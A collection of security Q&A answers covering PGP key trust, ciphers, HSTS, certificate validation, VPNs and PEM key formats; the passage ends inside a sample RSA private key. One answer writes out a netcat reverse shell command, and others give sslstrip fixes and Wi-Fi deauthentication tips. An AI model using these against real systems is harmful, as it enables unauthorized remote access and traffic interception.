Your IP was most likely flagged by Facebook as an account that was proliferating malicious posts (done via the malware on your computer).  Thus while they cant detect the malware outright they can detect that your IP has generated malicious traffic recently and redirect you accordingly.

Its like seeing a bunch of smoke down the road and calling the fire dpt before actually seeing the fire.  Given enough smoke you can be pretty sure that there will be fire.


In PGP how can I be sure about the public key?

Actually, the naiive approach of just grabbing a key from a keyserver isn't vulnerable so much to a man-in-the-middle attack as to a poisoning attack.

In a poisoning attack, an attacker provides an alternative piece of information, in this case a public key, and somehow tricks you into using that instead of the real one.

In a man-in-the-middle attack, the attacker sits (logically or physically) between you and the system, or recipient, you're talking to, appearing to each end point as the other end point.

That said, you are correct that keys from a key server cannot be trusted immediately. They do need to be validated somehow.

In the PGP/OpenPGP/RFC4880 trust model, that validation is primarily via key fingerprints and signatures.

For the sake of an example, let's say Alice wants to communicate securely with Bob, but neither of them have ever met, nor is it likely that they will be able to meet. Both, however, have access to an OpenPGP implementation and can upload public keys to key servers. Both have gone through the preliminaries of setting up e-mail accounts, creating key pairs associated with those e-mail addresses, and uploading their respective public key to a shared key server.

So can Carol, who would like to be able to read what Alice and Bob are sending to each other. Carol has also somehow gained access to Bob's e-mail account. (Maybe Bob used a weak password.)

The easy way, if Alice is able to communicate with Bob out of band, is for Alice to contact Bob using some other medium, and ask him for his public key fingerprint. If that matches the key that Alice has, and Alice can trust that the person responding is actually Bob and not Carol, then she can very likely trust the key to belong to Bob.

Even if she can't, however, there is a way.

Bob isn't alone in this world. While Alice can't meet Bob in person, a number of other people can and have. Those people can sign Bob's key, which is a statement that they have verified Bob's identity, and that the key they are signing actually belongs to Bob, and not to an imposter. Carol can't get those people to sign her key as belonging to Bob, because that would raise questions on the form "hey Bob, why're you changing keys?", ideally asked in ways Carol cannot control. For example, Dave might pull out his phone book and call Bob on the telephone to ask, since he recognizes Bob's voice, or might ask him at work, because they work for the same company.

So Alice can look at the set of signatures on the key purporting to be Bob's, and then the set of signatures on those keys, and so on. The purpose here is to trace the signatures back to a key Alice trusts, either because she has verified it herself, or because it's a widely trusted key in the community. (For example, the widely distributed official key of the creator of the software, or that of someone associated with a large free software project, can likely be trusted if its fingerprint can be verified.)

Why not just look at the signatures themselves? For one thing, nothing prevents Carol from creating keys and signatures that appear at first glance exactly like the signatures on Bob's actual key. But while Carol can create a trust chain among the keys she create herself, she cannot anchor that trust chain elsewhere. So the trust chain might eventually lead to a key purporting to belong to, say, Werner Koch or Phil Zimmermann, but Carol can't actually anchor the trust chain there because presumably Werner Koch or Phil Zimmermann are very careful about verifying the identity of the owners of the keys that they sign, and the keys that the trust chain leads to wouldn't match their official keys. Finding a chain of signatures leading back to a high-profile key which can be validated as belonging to that individual means it is very likely that the key one started out with has not been falsified.

Alice can also ask others for the fingerprints of those anchoring keys. If multiple people agree that Koch's key has a certain fingerprint, and this matches the one she has, that significantly increases the trustworthiness of Alice's copy of that key.

Yes, there is a fair bit of work to be done if Alice wants to do this properly. That's the price one has to pay for not having a set of super-trusted keys at the root of every trust hierarchy, the way the TLS CA ecosystem (as used by web browsers) works. The flip side of that coin is that every user can decide which keys they actually trust to sign other keys.

Once Alice has verified that Bob's key is legitimate, she'd usually sign it locally (add a non-exportable signature of her own) to it. It'd be non-exportable because she hasn't actually verified the identity of the key holder, so she doesn't want to tell others about that and thus degrading the trustworthiness of her actual key signatures, but she does want to indicate to herself and to the software on her system that she has done some degree of verification of the key, thereby silencing any "this key isn't trusted!" warnings.

Simple, isn't it?


TPM support with OpenSSL FIPS Object Module

You can start with libengine-pkcs11-openssl. It implements today only RSA keys. Or you can move to NSS instead of OpenSSL.


Yes, security vs usability still exists, although perhaps to a diminished extent. Each of your examples is designed to reduce the complexity of maintaining strong security, but none of them completely remove the additional work for the users.

Even password managers, which I would consider the easiest step, are massively underused (outside the IT industry). Though it's easier once the manager is set up, it still requires a completely separate application be installed, and most password managers that I have encountered are complex enough to pose significant difficulties to less-technical users.

Why download another program and get "that one tech friend" to set it up for you when you can just reuse the same password you use for everything?

Meanwhile, two-factor authentication and YubiKey each have their own issues - 2FA requires several more steps in the login process, whereas YubiKey has all the issues of any physical device; I'm not familiar with it myself, but how well would it fare after a trip through the washer and dryer?

Of course, this may change; Dashlane is a great step in making a usable password manager, but for now increased security still results in lost usability.


How are ciphers related to cryptographic algorithms like DES or AES?

A cryptographic algorithm can be any specific mathematical description (the algorithm) related to cryptography. There are specific types of algorithms such as hash algorithms, block ciphers, stream ciphers, signature algorithms, pseudo-random number generators etc.

Cryptographic algorithms may be used to perform encryption / decryption. In that case the algorithm would be called a cipher. This could be a stream cipher, a block cipher or an asymmetric cipher such as RSA. The block cipher generally has to be used in a mode of operation to be secure, i.e. to comply with the properties we normally associate with a full cipher. Modes of operation include CBC mode and GCM mode.

AES is a block cipher and yes, it is certainly in the family of block ciphers. It is special in the sense that it has been standardized by NIST as the main cipher to use in the US, succeeding DES. It's original name is Rijndael after the authors, Vincent Rijmen and Joan Daemen (although AES only uses a specific subset of the Rijndael specification).

Rijndael became the Advanced Encryption Standard after it won the AES competition; if another cipher had won then that cipher would have become AES - and there were algorithms such as Serpent that would have be considered more secure. Rijndael is however also rather efficient to implement in both hardware and software - at least compared to the other algorithms in the competition, at that time.

Note that block ciphers are not just used for encryption / decryption. Like hash algorithms they are often used as primitive to build other functions. Block ciphers can for instance be used to build modes of authentication. Examples are AES-CMAC, AES-GMAC and AES in Poly1305. This is an advantage they have over stream ciphers, which are more limited: block ciphers are (keyed) Pseudo Random Permutations that have specific properties required by such schemes.

Stream ciphers are generally rather efficient in software. However, they also often require a larger state (more memory). You can use a block cipher in a stream mode of operation such as counter (CTR) mode, the underlying mode used by AES-GCM and many other authenticated modes of encryption. That way they have similar properties as stream ciphers, such as being able to encrypt each byte separately (and therefore they don't need a padding mode of operation).


When should a DNS entry be cached? What conditions should not be? How do I determine the TTL?

See http://en.wikipedia.org/wiki/DNS_cache_poisoning and the many entries linked from there.

A short answer would be that you should only cache the answer when it comes from a server that you would normally trust for the the relevant domain.


Is it possible to change an API response using the host file?

If you can fake the price this way then this is basically due to improper validation of user input. It does not matter if the fake price comes because you've used another API endpoint (spoofing name resolution with manipulating hosts file or DNS) or if you've edited the page in the browser or if you've changed what got submitted to the server by intercepting the request - the server should never blindly trust anything which was send by the browser since what gets send is totally out of control of the server.

This means that the server would need to check if the price provided in the requested is actually the current price of the item. Or the server might send some cryptographic signature or HMAC (with a server-side secret) along with the price and can then check if the price still matches the signature/HMAC. But the server should never just blindly trust that the a price (or any other data) in the request is actually the one which was originally provided by the server.


The school network administrator could limit the access to Internet through the following ways (depending on the network devices):

MAC Address filter (White/Black list) - Not very efficient though since a MAC address can be easily spoofed.
Scheduled time - Only within a certain time frame the connection to the Internet is allowed
URL Blocking (White/Black list)  - Just some certain URLs can be accessed
Second authentication - Which could be based on credentials such as your enrolment number and a password.
NAC - Network access control limits the connectivity to a Network for example if you don't have a software agent installed to authenticate to a Radius server.

  Can I still access other computers on the LAN?

It depends if the DHCP server granted you a valid network IP address. Check if via ipconfig Windows or ifconfig Linux. If the address starts with 169.254... it means you got a so called Link-local address and cannot interact with the other computers within the network.


Why is 0x41414141 associated with security exploits?

It's nothing fundamental.  It's just a historical convention, like using foo as the name of a variable when you have no clue what to name it.

In more detail: The simplest way to test for a buffer overflow is to type a long string of A's (AAAAAAAA...) into a text field, and see what happens.  If the program crashes, it might be vulnerable.  If the program crashes and a debugger shows 0x41414141  in the program counter, ooh boy, you hit pay dirt: the program is almost surely vulnerable. (Remember, the ASCII code for 'A' is 0x41 in hex, so 0x41414141 is what you'd see if you looked at the byte-level representation of a string of A's in a hex editor.)

Why A's?  No reason at all; they're just the first letter in the alphabet.

So, this is a quick-and-dirty test that pentesters sometimes use.  But of course, there's nothing special about 0x41414141.  Douglas Adams fans could type in a long string of B's, and then look for 0x42424242.  That'd be equally effective, and even more fun.  I gotta remember to use that one in my next hacking demo.....


sslstrip gives error "exceptions.AttributeError: 'int' object has no attribute 'splitlines'" when used with ettercap

Since Twisted 19.2.0, the headers' values are expected to be in byte string but the value of the 'Content-Length' header passed by SSLstrip to Twisted is len(data) and this is an integer. So if you replace len(data) with str(len(data)) in

File "/usr/local/lib/python2.7/dist-packages/sslstrip/ServerConnection.py", line  131

it should do the trick.


Is firefox disabling of insecure TLS fallback part of the HSTS spec?

HSTS, the HTTP Strict Transport Security mechanism, is defined by RFC 6797.

The relevant section is section 12.1, No User Recourse, which states (in part) that (my emphasis):

  Failing secure connection establishment on any warnings or errors
  (per Section 8.4 ("Errors in Secure Transport Establishment")) should
  be done with "no user recourse".  This means that the user should not
  be presented with a dialog giving her the option to proceed. Rather,
  it should be treated similarly to a server error where there is
  nothing further the user can do with respect to interacting with the
  target web application, other than wait and retry.

  Essentially, "any warnings or errors" means anything that would cause
  the UA implementation to announce to the user that something is not
  entirely correct with the connection establishment.

The above is non-normative implementation advice. However, the referenced section 8.4, Errors in Secure Transport Establishment is normative, and states (in full) that (my emphasis):

  When connecting to a Known HSTS Host, the UA MUST terminate the
  connection (see also Section 12 ("User Agent Implementation Advice"))
  if there are any errors, whether "warning" or "fatal" or any other
  error level, with the underlying secure transport.  For example, this
  includes any errors found in certificate validity checking that UAs
  employ, such as via Certificate Revocation Lists (CRLs) [RFC5280], or
  via the Online Certificate Status Protocol (OCSP) [RFC2560], as well
  as via TLS server identity checking [RFC6125].

Here, "UA" means "user agent", which is the technical term for among other things a web browser. In RFCs, "must" really means "must":

  MUST   This word, or the terms "REQUIRED" or "SHALL", mean that the
  definition is an absolute requirement of the specification.

So if a client connects to a website over HTTPS, which announces HSTS in its HTTP response, then if the web browser allows the user to proceed with the connection in light of an untrusted certificate, it is acting in violation of certainly the intention and very likely the letter of the HSTS standard.

Note the term known HSTS host; because a HSTS header is delivered only after the first request has been sent, and a TLS connection must be established before the first request can be sent, the browser cannot know before that has been done whether or not the remote host uses HSTS. This vulnerability can be avoided by the owner of the web site using HSTS Preloading. Once a UA has established a host as a HSTS host, whether through preloading or through a HSTS header in a response, that information is supposed to be cached, ideally persistently, by the UA for the indicated amount of time.

TL;DR:

For the reasons outlined above, in the presence of any SSL/TLS problems with a host announcing HSTS, absent HSTS preloading, the first request might succeed (because the non-HSTS behavior of allowing clicking through a SSL/TLS warning is the default, and the host has not yet had the chance to announce anything else). However, any connections initiated after the first request completes (assuming this happens within the HSTS max-age period) or in the presence of HSTS preloading are required to fail because at that point the host is a known HSTS host.

It seems reasonable to state that failure of the UA to comply fully with the MUST requirements of a relevant, implemented specification is a bug. For that reason, the behavior you describe of Firefox 4 through 36 would appear to have been a bug.


Trusting the "subject" of an x509 certificate

[Note: In the first wording of the question, there appeared to be some pretty glaring conceptual problems, the re-wording fixed these. I am going to leave this answer here anyway in hopes that it's useful to somebody.]
PKI Fundamentals
I think we need to go back to basics on how Public Key Infrastructure and certificates work. I am going to shamelessly steal a photo of a certificate chain:

In this scenario, User1 would be your document signer, which sign documents using a certificate issued by some Certificate Authority (CA), which could be a self-signed root CA or could be an intermediate CA with a root above it.
Validating a certificate chain
Let's say that I as the client want to validate the signature on a document that User1 signed. The procedure would be this:

Validate the signature on the document: hash the document yourself, and then use the public key in User1's cert to check that your hash matches the one in the signature field.
Validate User1's cert: Ok, I know that the document was signed by the key identified in User1's cert. How do I know that this key actually belongs to User1 and that this isn't a fake cert? Well, this cert is signed by an IssuingCA, so I will validate the signature on User1's cert against the key in the cert for the IssuingCA.
Validate the IssuingCA's cert: Ok, I know that User1's cert was signed by the key identified in the IssuingCA's cert. How do I know that this key actually belongs to the IssuingCA and that this isn't a fake cert? Well, this cert is signed by the RootCA, so I will validate the signature on the IssuingCA's cert against the key in the cert for the RootCA.
Validate the RootCA's cert: Well, since it's this cert is self-signed, there's no way to validate it, so I will check that it matches bit-for-bit (or that its hash matches) one of the certs that I've pinned (aka is in my trust store).

Your Situation
You say:

Our team has looked into certificate pinning but decided against it for a couple reasons. ... We'd rather just validate against the system trust and let a public CAs CRL take care of revocation for us.

Then how, pray tell, are you doing that validation if you haven't pinned the root cert?? How are you validating the signature on the CRL to make sure that it hasn't been faked? What happens if I whip up my own OpenSSL CA on my linux box and issue myself a cert with the identical subject as your cert (ie is bit-for-bit identical to your signing cert except for the public key and signature)? Please tell me that your software would reject it.

Answering your questions

In general, is it valid to trust the information that's provided in a certificate's subject?

Uhh, no. Not unless you've validated the signatures on the certificate all the way back to a root cert that you have pinned.

Is there a way for me to obtain an x509 certificate from a pre-trusted authority that contains information in the subject that has not been validated?

I'm not sure I understand the question. Validated by who? A public Certificate Authority (CA) should verify all information in the Subject and SubjectAltName fields before issuing the cert. If not, then that CA deserves to go out of business. Your client software should also validate the contents of a certificate every time it sees one by tracing the signatures back to a pinned root.

Do we have to verify that the certificate has the "Code Signing Certificate" extend key usage to get that guarantee?

Umm, that depends, is it signing code? ie are the "documents" in question executable software (.exe files, or installers)? If not then you should be checking for the "Digital Signature" extension. (The point of this extension is to make sure that a certificate / key gets used for one thing and one thing only. If a key gets "re-purposed" halfway through its life, this can lead to vulnerabilities).


Do keystroke dynamics always generate one profile per person?

A common theme with biometric authenticators is that they are based on bodily features or behaviors which have inherent variability.  Most authentication systems do a couple of things to reduce the rejection of valid users.

First, these systems allow a defined amount of variability when comparing biometric samples.  In other words, they acknowledge that you won't type your password exactly the same way every time (in fact some systems look at exact matches as an indicator of a replay attack).  There is usually a threshold within the system to still allow authentication if the supplied biometric sample is 'close enough'.  Make the system less forgiving and you increase your False Rejection Rate (FRR), which means legitimate users aren't authenticated.  In this case the FRR may actually indicate that the user was successfully authenticated but a new 'keystroke ID' was generated.  Make the system more forgiving and you increase your False Acceptance Rate (FAR), which means unauthorized users are more likely to be misidentified.

Sometimes this control can be adjusted by the system administrators to meet their unique deployment needs, and other times the vendor/developer hardcodes in a value that they feel works best for most users.

Second, these systems need to capture a sufficient number of samples from the authorized user in order to create an accurate biometric template.  This is more important for a biometric like keystroke dynamics where your typing will change from entry to entry.  The more samples this template is based on the better it works with the first control that compares whether new authentications are within the margin of error of the authorized user template.

What we don't know, and may not be able to find out, is how these two elements are handled by the service your friend uses.  It's possible they tuned their system to reduce the FAR so much that variations in how he types during subsequent logins are generating different 'keystroke IDs', despite it really being him.  This research paper on keystroke dynamics lists their FRR at around 5%.  In the context of this service that might mean a similar FRR would generate a different keystroke ID for your friend's valid logins in 1 out of every 20 logins.

We also don't know how many logins they used to train their system for his valid biometric template.  They may have just used his initial password entry during account setup.  Or they may have trained the system using a few dozen of his logins before looking for unauthorized use.  Clearly the second approach is the one they should have used in order to improve the quality of their biometric template.

Unless this is a new system or a shady vendor, I would assume that they'd have already fixed these problems since they would presumably affect all of their customers and cause a lot of complaints.  But it's also possible that you friend just has more variation in his password entry technique than normal users.

I agree with Johnny's answer that having different keystroke ID profiles is just one indicator that the vendor should use to determine if fraud is occurring.  Without details on their particular biometric system it is possible that he is solely responsible for all of these logins and is mistakenly being accused of violating the ToS.  He should ask them for more information beyond just the source IP and keystroke ID of the logins, or make the argument that the evidence they've supplied so far is flimsy.


Package Leakage is a general term for packets being sent somewhere where they should not be sent. There's no exact list of every possible scenarios, but as example -  packets with non-routable IP addresses that are only valid on the LAN being sent to the ISP is one concrete Package Leakage situation.

In such a case, to avoid packet leakage, you must enable a packet filtering functionality and specify that packets from the local network should not be sent outside the local network. NAT takes care of towards-outside special communications if needed.

Another example may be when you use VPN. You will want in such a case the VPN-protected content to go through the VPN and the rest of the general traffic through the normal connection. (Package Leakage like all default traffic through VPN may cause your VPN service to halt.)

The OS part is something else entirely. There, you will most likely get excessive CPU usage, which can cause you PC to run slow or freeze. Programs can cause it or abnormal network traffic can cause it.

Ports scans are completely unrelated to Package Leakage. Determining the status of open ports has nothing to do with Package Leakage, but it may help improve security of a device like a router.

AS for tools, you can use pretty much any network sniffing/monitoring tool like wireshark to determine if you have abnormal packets in your network traffic.


Computers connecting to suspicious websites via squid proxy

This is just Google Chrome checking if your ISP is doing DNS hijacking. It checks if these random hostnames will resolve to some valid IP (i.e. hijacked to serve "helpful information", often with ads in it) or will be reported as unresolveable. Nothing to worry about. For more details see Chromes startup random DNS queries ... or Unusual HEAD requests to nonsense URLs from Chrome.


Can pipe | shell | nc > pipe achieve remote shell?

This seems to be a reverse shell that creates a local shell (i. e., /bin/sh -i) and sends the output back to 192.168.1.100:4444 (i. e., nc 192.168.1.100 4444):

+-----------------+      +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+-----------------+      +-----------------------+

Now what’s missing here is the output of the latter command being redirected back as input to the shell. And since the shell pipe | can only pipe the output to the command that is following it, a named pipe/FIFO file is used to connect the loose ends:

+------------+      +-----------------+      +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+------------+      +-----------------+      +-----------------------+
       ^                                                  v
       +------------------ /tmp/f <-----------------------+

By this the output of nc 192.168.1.100 4444 becomes the input for /bin/sh -i.

If you would want to make this without the named pipe/fifo, you would need two nc channels, one for the shell’s input and one for the shell’s output:

nc 192.168.1.100 4444 | /bin/sh -i 2>&1 | nc 192.168.1.100 4445


You need a good signal to capture. -69 or less, tending toward 0. You can remove some noise by placing your sniffer card inside a metal container (like a BUCKET), with the top facing toward the target WLAN. The container must have a diameter of at least 12.5cm (2.4GHz wavelength). Yes, I know cantennas have a smaller diameter, just trust me on this. You can also use a metal bowl, or one of those meshed bowls for keeping fruit in, as long as it has a fairly fine grid.

Copper, gold and silver are best. Aluminium is pretty good. Steel is not so good, but better than lead. Hehe. You are not building an antenna, you are building a filter for interference. Most of the irrelevant radiation around you will not pass into your sniffer card.

silver 422 W/mK
copper 402 W/mK
gold 298 W/mK
aluminium 226 W/mK
steel 73.3 W/mK
lead 34.8 W/mK

Your mother's silverware? Use it.

ALFA cards have sort of poor reception, it's best to use nice expensive radio card for sniffing. Make sure you are running off battery on your laptop, or there's gonna be even poorer reception. It also helps to change the case to one made from aluminium (connect it to ground).

Remember to deauth using one wifi card, and pick up the handshake using another. Wifite is weird. Just use kismet.

Edit:
I just used an ALFA adapter for a bit, and noticed reception got a bit worse as the board inside heated up. I added more uh, passive cooling outlets, and heatsinks. Behold:

Amazingly, the adapter is now as good as my builtin mini pci card for wireless, although a bit slower to respond when issuing commands to change modes etc. Everything electronic from china should be heatsinked. Perhaps it will also help A LOT to put it in a metal box!

Edit2: Poked around a bit more, and it definitely helps to use short USB cables with ferrite bead(s). You can buy these cables with beads attached (typically used for harddisks), or just buy snap-on ferrite beads and attach them one by one until you stop seeing improvement in reception.


How to decrypt a password for recovery with php

You are asking us for the best way to shoot yourself in the foot. As Peter Harmann says, there is absolutely no legitimate reason to do password recovery by decrypting and emailing passwords. If you can decrypt the passwords, an attacker could potentially do the same. The whole point of password hashing is to avoid that! Additionally, email is not a very safe medium so littering peoples inboxes with passwords is not good practice.

So what to do instead? The traditional way to do password recovery is to email a password reset link to the user. The link contains a securely random, long token connected to the user. This token allows the person clicking the link to change the password once. Note that the token should expire within some reasonable time. If you want to learn more, Troy Hunt has a nice article on it.

While you are at it, there are some important things you need to do to improve your password hashing:

Most importantly, and this is a major deal, do not use a single round of SHA-256. This is not nearly good enough. You need to use a slow algorithm, like bcrypt or similar. See this question.
It is better to use a random salt than to use the username. This isn't as important as the above point, but it's still good practice.


It is true you need to trust your Paas provider. They have full access to your stuff. What I would argue is not completely true is that a VPS is safe. It is maybe a bit safer, as it would be slightly harder for the provider to set up surveillance of your setup, but they still have full access to the underlying hypervisor, and can therefore access contents of your memory, and from there everything. If you want any real amount of security, you need a dedicated server and for full security, this dedicated server needs to be physically protected.


Does Facebook merge accounts? In what circumstances?

If what you are seeing is as some other folks said - when you try to log into one account, it actually logs you into your other account - then this may not be a server-side merge but a client-side login/logout issue. The scenario is fairly common and not limited to Facebook (similar things can happen with other Identity systems like OpenID or Shibboleth):

Log in to Facebook as IdentityA. Facebook caches some stuff in a browser cookie.
Do some stuff. Third-party apps might open Facebook sessions to "like" things.
Log out of Facebook. Facebook logs you out but cookie isn't cleared, and/or third party apps retain their FB connections .
Log in to Facebook as IndentityB. Facebook sees your existing session info (either from cookie or third-party connection) and uses it, logging you back into IdentityA.

If this is what's going on, a solution might be to close/reopen the whole browser, or to Ctrl-F5 clear cookies. Facebook isn't actually merging accounts, according to all available evidence.


Blocking network scanning attempts at the switchport

When a system accesses an IP address outside it's subnet, it will try to access the gateway. So, for every IP address outside the subnet, the ARP will be for the IP address of the gateway.  You cannot limit this in a switch (a "real" switch).
So, you must look at the router. It depends a bit what that router is, but in general, routers do not limit the number of IP addresses that can be accessed.
If you want to detect and take action, you should probably look at netflow. Based on the netflow data, you can detect network mapping. You can also take actions, from visiting the location, to automatically shut of the switchport.


Best way to reduce encryption of the big files

Partial encryption is not a good idea in general since depending on the file type even clear text fragments can be used to extract sensitive information. Thus the best way is to do full encryption, but in a cheap way.

Depending on the CPU there might be hardware based AES available in which case this is the best option, both in terms of performance and battery usage. If no hardware based AES is available a fast software based algorithm like ChaCha20 is recommended. See also Do the ChaCha: better mobile performance with cryptography.


IP reputation services – valuable tool for detecting compromises?

In the past I have used OpenDNS for a client.  OpenDNS detected that not only was there malware phoning home on the network, but that there was Botnet traffic also coming from the network.  The problem was that since OpenDNS sits outside the network, it only sees the public IP of the network--Since there were >150 machines on the internal network, there was no easy way to tell which one was infected.

So my caution would be that unless there was a 1 to 1 relationship to the public IP and the computer (webserver or something like that), or the IP rep service sniffed the traffic before it was NATed, then I am not sure how valuable it will  be, except as an alerting mechanism that there is something nefarious going on in the internal network.

-Josh


Twitter doesn't know the user

If you have ever used that browser to connect to Twitter outside of the VPN then it is possible that twitter have used cookies or (even in the case of a complete browser data wipe) browser fingerprinting to identify you. Even if they haven't you should assume their ad providers have.

  no one can know who is the user, except the VPN provider.

Anyone with visibility of entrance nodes and exit nodes to the VPN (ISPs, state actors etc) can apply packet matching techniques to try and identify traffic flows.

You also have the risk of both Twitter and the VPN sharing the information they hold on you with other parties.


What was the Lavabit's backdoors to their customers' e-mails?

PGP only works when both users are using PGP and already exchanged each others public keys over a trustworthy channel. When you want to send an email to someone you never had contact with you can not do that.

Also, there is no good way for a web-based service to store the users keys on their own computer. There are features like cookies and localstorage to store data on the client, but neither of these guarantee persistence by the specifications. That means the risk to lose ones private keys would be quite high with a client-sided solution.

By the way: You can use PGP over a public email service which doesn't support it officially. You can use any medium which transfers text to exchange PGP-encrypted messages. It just means that you need to do the en- and decryption manually.

What Lavabit was doing was to encrypt the users data with a keypair derived from the users password - the same password which is used to log into the service. By cracking the SSL/TLS connection between client and server it would have been possible to obtain that password, log into the users account and read their email. Also, it was never impossible for Lavabit to obtain any discriminaing information about its users. They complied with search warrants in the past when it was about child pornography and when it targeted specific users.


AES-256 OR RSA-2048 for web application security?

About efficiency: symmetric encryption (like AES) of comparable security level will always be faster than asymmetric one (like RSA).

Because of this (and since RSA needs some random padding to be secure, meaning the ciphertext is a bit larger than the plaintext), the usual way to use RSA (if you have to encrypt more than about the key size) is to generate a random key for a symmetric algorithm, encrypt that key with RSA, encrypt the plaintext with this random key, and store the encrypted key together with the plaintext.

So, your selection is actually between:

RSA (with public + private key) together with AES (or some other algorithm, but let's stay simple)
only AES (with a secret key)

The actual cryptography here is not a point where an attacker will get any advantage - both AES and RSA (with the given key size) are secure enough to resist brute-force attacks.

If you are using only symmetric encryption, of course the encrypting server needs this key, and if compromised, this key can be used to decrypt the data in the database. There is not really a way around this.

If you are using asymmetric encryption, your encrypting server could have only the public key – but this is only a viable option if this webapp server never needs to decrypt the data again, i.e. for write-only data. Do you really have such data? (It can be modified after submitting, but only by overwriting it, not by first reading it, changing and writing back.)

Also, since this is using a public key for encrypting, there is nothing hindering an attacker with database access from changing the data to something else. If an attacker somehow gets access to the database (he shouldn't, of course), it is not that complicated to derive the public key from the encrypted data. Having that, the attacker can simply insert new records into the database, or overwrite old ones, and your decrypting process (with the private key) has no chance to see the difference. To avoid this, have the writing process also sign the data (with the private key of a different key pair), where the reading process can verify these signatures.

You can have a second server to decrypt it for the first one on demand, but this will not be much safer than having the first one do it itself (only that you can simply cut it off when you remark the attacker's presence).

So, to completely estimate your security, it is necessary to first have an attack model (i.e. against which attacks do you want to be sure), then you can judge which variant protects better.

  I want to be sure the Internet facing server doesn't get attacked.

The encryption of the database by itself does not open (or close) any attack route on the web server, either way. They are only different if some attacker finds another security hole in your web application, and gets access to the web server.


How does this possibly malicious phishing email link work?

The actual page requested would be http://wonderit.net/f, since anything after # would be interpreted by the DOM. That page returns HTTP status 406 with or without the hash mark and everything following. The site itself appears to be broken, so it's unlikely we can find out now what the intended result would've been.


Can the latest glibc DNS vuln be tested on remote servers?

Since the attack needs the client to first make a DNS request you need some way to trigger this request. If this can be done remotely depends on the server setup and applications running. But if you have access to the server you can try the PoC from google.

Please not that failure of the PoC indicates only that the server is probably not affected but you cannot be fully sure. There might be binaries on the system which contain a statically linked libc and are thus not fixed by upgrading the system libc.


Allowing users to upload & download XML safely

There are some ways to do this.

Check if XML contains any malicious code.
Double encode the XML. (https://www.owasp.org/index.php/Double_Encoding)

You could also encrypt the XML when uploading, and decrypt when downloading.

.Htaccess should also be edited to force the user to download instead of viewing in the browser(http://www.michaelbarton.name/2010/01/14/how-to-force-a-download-with-a-save-as-prompt-using-a-htaccess-file-andor-apache/)


Is a SSTP-VPN connection enough to hide my internet traffic?

If you use a VPN which originates at your computer (no matter of PPTP, SSTP or OpenVPN) it will - if properly implemented - protect your traffic against sniffing by anybody on the network path between your computer and the VPN endpoint of your VPN provider. Since this VPN endpoint is somewhere on the internet for the kind of VPN you bought, it will protect your traffic details from getting sniffed by others using the same shared internet, the owner of the shared internet access and also your direct internet provider for the internet access.

But note that to achieve this kind of protection all data must go through the VPN. It is a common misconfiguration that DNS traffic and/or IPv6 traffic does not go through the VPN. There are several sites which let you check for such leaks like check.ipredator.se.

Also note that even if you use a VPN others can still see traffic patterns, i.e. amount of data transferred and timing. From that they might conclude activities, like that you watch a video or do large up- or downloads.


How is DDoS possible if you're not listening to the DoS traffic?

Ignoring packets is cheap, but if your connection is unable to handle the sheer volume of traffic per second then you're going to fall down hard. The only answer at that point is to filter traffic upstream of you. Because things are distributed and high performance routers really don't like consulting a large routing table just to play whack-a-mole on which hosts to drop, that can get unwieldy.

That last part is what makes a DDoS so effective: that it's hard to reroute traffic upstream. CloudFlare makes a business out of having enough bandwidth to absorb all the traffic and deal with it without having to filter upstream at providers.


What is the difference between PEM format to DSA/RSA/ECC? (Might I confuse PEM with these)?

First off, here's the full man page entry for ssh-keygen -o from my machine (ssh-keygen doesn't seem to have a version flag, but the man page is from February 17, 2016)

  -o      Causes ssh-keygen to save private keys using the new OpenSSH format rather than the more compatible PEM format.  The new format has increased resistance to brute-force password cracking but is not supported by versions of OpenSSH prior to 6.5.  Ed25519 keys always use the new private key format.

Seems pretty clear that this is just about the format of the file that's being produced. Also note that ssh-keygen will only store Ed25519 keys in the new format, regardless of what flags you pass in.

Since both of your questions today have had the same underlying question, let's deal with it.

  ... these "newer formats" DSA/RSA/ECC ...

Ok, so DSA, RSA, and ECC are not different formats, they are completely different algorithms and are completely unrelated to each other.

I wish I could find a better way of explaining this, but I'm not sure I can without getting too technical. Let's try this: it's a bit like saying that http and ftp are just different formats for transferring files, or .docx and .pptx are different formats of Office documents. Calling these "just format differences" is fundamentally wrong, the software is doing a very different thing in the two cases (albeit to produce the same end-result; transferring a file, or making a pretty document).

Now let's talk about formats.

So you want to save a private key in a file? PEM is a file format for storing general cryptgraphic information, but other file formats exist. PEM can be used for many things: private keys, or certificates, or the text of an email that you want to encrypt or sign. It's just a container "cryptographic stuff".

Analogy time: saving a Word document. You could save it in the old .doc format which is universally accepted by all versions of Office and also open source programs (PEM is also older and universally accepted), or you could use the newer .docx format (the -o OpenSSH format). Sometimes new features are not backwards compatible and can only be saved in the new format (like ed25519).

(Many thanks to @GordonDavisson for this analogy)

With the exception of backwards compatibility, which format you choose really has nothing to do with the contents of the file.

Examples:

PEM format with an RSA key.

Note that the message starts with -----BEGIN RSA PRIVATE KEY-----, this is standard industry-wide PEM format - any software that can read PEM will be able to read this:

$ ssh-keygen -a 100 -t rsa
$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwTLkTDZUisg0M/3BDBOjrmBvJXb8cdfveGG1KQhAhFDLMp5w
XKgGFMy339m3TGB1+ekKoXnX3dcRQtpQbuFeDB59cmKpDGZz7BzfetpjeIOGCzG+
Vt2BnDf2OlKb6EE7tC3PSmFgL0nQPSyz8x7rE7CMOQEnz1tKkK9Gpttcku8ifwmd
LAHlVaTV3BIiFJN23fwe7l0czFaV98iy8YRgk/Av3gRlsBABGT5qD8wPiI4Ygpxv
UuT2kq53lhBTWO9hIth5tUU0N7x7QN6/rRSi2uHcmJYXFkpsLie697G17TN5ln3E
X5frsrjVyu0JhjvC5mlRBudSJWcWm/KrcTQxdQIDAQABAoIBAFR6nWtZ4nPhATqu
veg6+jq4vkEim1ZodrUr/FxZ2GRDM+cJctaBPk+ACPMgL099ankB1v0u2x6M+WZD
MiKZ91bTSkVnMMZUUmIvaeU9c3tx/34LnVA8gX0+1zM/hh7zz1iFI3xBwh5LZ3wo
fPNVVLOCYn5WrAK2x48mpX02tG8m0OY5kdCdFW1f6UbCGk3K9ov82yQ+JbjWydOS
ZaS7bnJCRsjDhPm/Ooe2DZ8CKHRO3DOiZAAFYqsosxM2C12+alC+hdKHoJ0pWZWe
eckZiALTENi+PzgSq4ykdBaoreeI84lpIzYQO06rrjM2/fw1x/SQsDYhCsQnNRib
